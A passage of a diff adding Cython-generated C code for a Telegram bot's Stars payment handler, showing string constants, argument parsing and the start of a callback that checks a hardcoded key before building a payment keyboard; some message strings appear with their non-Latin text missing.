__pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define __pyx_n_s_check_connection_exists __pyx_mstate_global->__pyx_n_s_check_connection_exists +#define __pyx_n_s_choosing_amount_stars __pyx_mstate_global->__pyx_n_s_choosing_amount_stars +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_currency __pyx_mstate_global->__pyx_n_s_currency +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_s_delete __pyx_mstate_global->__pyx_n_s_delete +#define __pyx_n_s_description __pyx_mstate_global->__pyx_n_s_description +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_u_enter_custom_amount_stars __pyx_mstate_global->__pyx_n_u_enter_custom_amount_stars +#define __pyx_n_s_entering_custom_amount_stars __pyx_mstate_global->__pyx_n_s_entering_custom_amount_stars +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists +#define __pyx_n_s_expected_hash __pyx_mstate_global->__pyx_n_s_expected_hash +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift +#define __pyx_n_s_handlers_payments_stars_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_stars_pay +#define __pyx_kp_s_handlers_payments_stars_pay_py __pyx_mstate_global->__pyx_kp_s_handlers_payments_stars_pay_py +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_kp_u_https_t_me_PremiumBot __pyx_mstate_global->__pyx_kp_u_https_t_me_PremiumBot +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_invoice_payload __pyx_mstate_global->__pyx_n_s_invoice_payload +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_isdigit __pyx_mstate_global->__pyx_n_s_isdigit +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_key_count __pyx_mstate_global->__pyx_n_s_key_count +#define __pyx_n_s_label __pyx_mstate_global->__pyx_n_s_label +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_ok __pyx_mstate_global->__pyx_n_s_ok +#define __pyx_n_s_on_pre_checkout_query __pyx_mstate_global->__pyx_n_s_on_pre_checkout_query +#define __pyx_n_s_on_successful_payment __pyx_mstate_global->__pyx_n_s_on_successful_payment +#define __pyx_n_s_pay __pyx_mstate_global->__pyx_n_s_pay +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_stars __pyx_mstate_global->__pyx_n_u_pay_stars +#define __pyx_n_s_payload __pyx_mstate_global->__pyx_n_s_payload +#define __pyx_n_s_pre_checkout_query __pyx_mstate_global->__pyx_n_s_pre_checkout_query +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_prices __pyx_mstate_global->__pyx_n_s_prices +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_stars __pyx_mstate_global->__pyx_n_s_process_callback_pay_stars +#define __pyx_n_s_process_custom_amount_input __pyx_mstate_global->__pyx_n_s_process_custom_amount_input +#define __pyx_n_s_process_enter_custom_amount __pyx_mstate_global->__pyx_n_s_process_enter_custom_amount +#define __pyx_n_s_provider_token __pyx_mstate_global->__pyx_n_s_provider_token +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_kp_u_solonet_sup __pyx_mstate_global->__pyx_kp_u_solonet_sup +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_u_stars __pyx_mstate_global->__pyx_n_u_stars +#define __pyx_n_u_stars_2 __pyx_mstate_global->__pyx_n_u_stars_2 +#define __pyx_n_u_stars_3 __pyx_mstate_global->__pyx_n_u_stars_3 +#define __pyx_kp_u_stars_amount __pyx_mstate_global->__pyx_kp_u_stars_amount +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_successful_payment __pyx_mstate_global->__pyx_n_s_successful_payment +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_title __pyx_mstate_global->__pyx_n_s_title +#define __pyx_n_s_trial __pyx_mstate_global->__pyx_n_s_trial +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_update_data __pyx_mstate_global->__pyx_n_s_update_data +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_kp_u_user_id_amount __pyx_mstate_global->__pyx_kp_u_user_id_amount +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_float_0_0 __pyx_mstate_global->__pyx_float_0_0 +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__9 __pyx_mstate_global->__pyx_tuple__9 +#define __pyx_tuple__22 __pyx_mstate_global->__pyx_tuple__22 +#define __pyx_tuple__31 __pyx_mstate_global->__pyx_tuple__31 +#define __pyx_tuple__32 __pyx_mstate_global->__pyx_tuple__32 +#define __pyx_tuple__33 __pyx_mstate_global->__pyx_tuple__33 +#define __pyx_tuple__34 __pyx_mstate_global->__pyx_tuple__34 +#define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 +#define __pyx_tuple__36 __pyx_mstate_global->__pyx_tuple__36 +#define __pyx_tuple__37 __pyx_mstate_global->__pyx_tuple__37 +#define __pyx_codeobj__7 __pyx_mstate_global->__pyx_codeobj__7 +#define __pyx_codeobj__19 __pyx_mstate_global->__pyx_codeobj__19 +#define __pyx_codeobj__23 __pyx_mstate_global->__pyx_codeobj__23 +#define __pyx_codeobj__27 __pyx_mstate_global->__pyx_codeobj__27 +#define __pyx_codeobj__28 __pyx_mstate_global->__pyx_codeobj__28 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":32 + * + * + * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< + * async def process_callback_pay_stars( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_1process_callback_pay_stars(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_1process_callback_pay_stars = {"process_callback_pay_stars", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_1process_callback_pay_stars, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_1process_callback_pay_stars(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_stars (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 32, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 32, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, 1); __PYX_ERR(0, 32, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 32, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, 2); __PYX_ERR(0, 32, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_stars") < 0)) __PYX_ERR(0, 32, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 32, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.process_callback_pay_stars", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_process_callback_pay_stars(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_process_callback_pay_stars(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_stars", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 32, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_stars, __pyx_n_s_process_callback_pay_stars, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.process_callback_pay_stars", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + int __pyx_t_2; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + Py_ssize_t __pyx_t_8; + PyObject *(*__pyx_t_9)(PyObject *); + Py_ssize_t __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + PyObject *__pyx_t_16 = NULL; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + int __pyx_t_19; + int __pyx_t_20; + char const *__pyx_t_21; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + PyObject *__pyx_t_26 = NULL; + PyObject *__pyx_t_27 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_stars", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L5_resume_from_await; + case 2: goto __pyx_L10_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + case 4: goto __pyx_L14_resume_from_await; + case 5: goto __pyx_L21_resume_from_await; + case 6: goto __pyx_L33_resume_from_await; + case 7: goto __pyx_L34_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 32, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":37 + * ): + * + * expected_hash = "21U68SOLOBOT" # <<<<<<<<<<<<<< + * if STARS_ROUTER != expected_hash: + * logger.error(" CRYPTO_HASH. .") + */ + __Pyx_INCREF(__pyx_kp_u_21U68SOLOBOT); + __Pyx_GIVEREF(__pyx_kp_u_21U68SOLOBOT); + __pyx_cur_scope->__pyx_v_expected_hash = __pyx_kp_u_21U68SOLOBOT; + + /* "handlers/payments/stars_pay.py":38 + * + * expected_hash = "21U68SOLOBOT" + * if STARS_ROUTER != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_STARS_ROUTER); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/stars_pay.py":39 + * expected_hash = "21U68SOLOBOT" + * if STARS_ROUTER != expected_hash: + * logger.error(" CRYPTO_HASH. .") # <<<<<<<<<<<<<< + * await callback_query.message.answer( + * text=" , @solonet_sup." + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_CRYPTO_HASH}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 39, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":40 + * if STARS_ROUTER != expected_hash: + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":41 + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + * text=" , @solonet_sup." # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 41, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":40 + * if STARS_ROUTER != expected_hash: + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" , @solonet_sup." + * ) + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 40, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 40, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":43 + * text=" , @solonet_sup." + * ) + * return # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/stars_pay.py":38 + * + * expected_hash = "21U68SOLOBOT" + * if STARS_ROUTER != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" CRYPTO_HASH. .") + * await callback_query.message.answer( + */ + } + + /* "handlers/payments/stars_pay.py":46 + * + * + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 46, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":48 + * tg_id = callback_query.message.chat.id + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); 